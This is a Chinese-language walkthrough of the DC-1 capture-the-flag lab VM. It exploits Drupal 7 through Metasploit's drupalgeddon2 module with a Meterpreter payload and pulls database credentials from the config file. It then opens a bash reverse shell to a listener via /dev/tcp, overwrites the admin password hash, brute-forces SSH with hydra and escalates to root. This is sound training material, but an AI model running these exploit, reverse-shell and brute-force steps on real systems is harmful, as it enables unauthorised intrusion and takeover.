一、下载DC-1靶机虚拟机镜像文件,导入VM虚拟机
bash
https://pan.baidu.com/s/1B1IbAgA8vD9-cZ_mdZy9wA?pwd=qwui
二、设置DC-1的网卡模式为NAT模式,记录其MAC地址
三、在kali系统中利用nmap工具扫描本网段主机信息
bash
# nmap -sP 192.168.2.0/24 -oN nmap.sP
由图可知靶机获取到的地址是192.168.2.7
利用获取到的IP地址,进一步对其端口扫描
bash
# nmap -A 192.168.2.7 -p 1-65535 -oN nmap.A
发现靶机开放22端口(可以爆破)和80端口,在80端口下,可以看到其网站的模板为:Drupal 7(国外三大PHP CMS之一,drual、wordpress、joomla)。
我们先访问一下靶机的80端口
接下来通过使用MSF直接搜索该网站模板存在的漏洞
bash
启动msf
# msfconsole
bash
msf6 > search drupal
通过查看References来查看该漏洞的详细信息
bash
https://cvedetails.com/cve/CVE-2018-7600/
选择攻击载荷
bash
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 选择模块
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp 设置攻击载荷
缺少目标地址
bash
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.2.7
bash
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
成功拿到shell
flag1
Every good CMS needs a config file - and so do you.这句话指引应该去找的该网站的配置文件所在目录:sites/default/
flag2
bash
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
接下来进入交互界面,进一步获取信息
根据获取到的信息尝试连接数据库
bash
mysql -udbuser -pR0ck3t #连接失败,考虑使用反弹shell
kali机本地监听2333端口
直接反弹失败
使用python反弹
bash
meterpreter > shell
Process 3791 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$
bash
www-data@DC-1:/var/www$ bash -i >& /dev/tcp/192.168.2.10/2333 0>&1
反弹成功
进入数据库drupladb,查询users数据表
bash
mysql> use drupaldb
mysql> select * from users\G
重置后台管理员admin用户密码,由于破解admin 用户密码要耗费一定时间,我这里考虑重置admin 用户密码,使用drupal 自带脚本重新生成密码。
bash
www-data@DC-1:/var/www$ php scripts/password-hash.sh admin
更新users表
bash
mysql> update users set pass="$S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where uid=1;
更新成功,管理员admin的密码已经更改为admin
flag3
使用新密码登录后台
按照提示找到/etc/passwd
flag4
由图可知flag4用户可以登录
使用hydra进行爆破flag4用户密码,在kali系统中执行
bash
# hydra -l flag4 -P /usr/share/john/password.lst 192.168.2.7 ssh -vV -f -o hydra.ssh
检查一下是否有一些命令具有SUID 标志
利用操作系统内核提权
成功获取root权限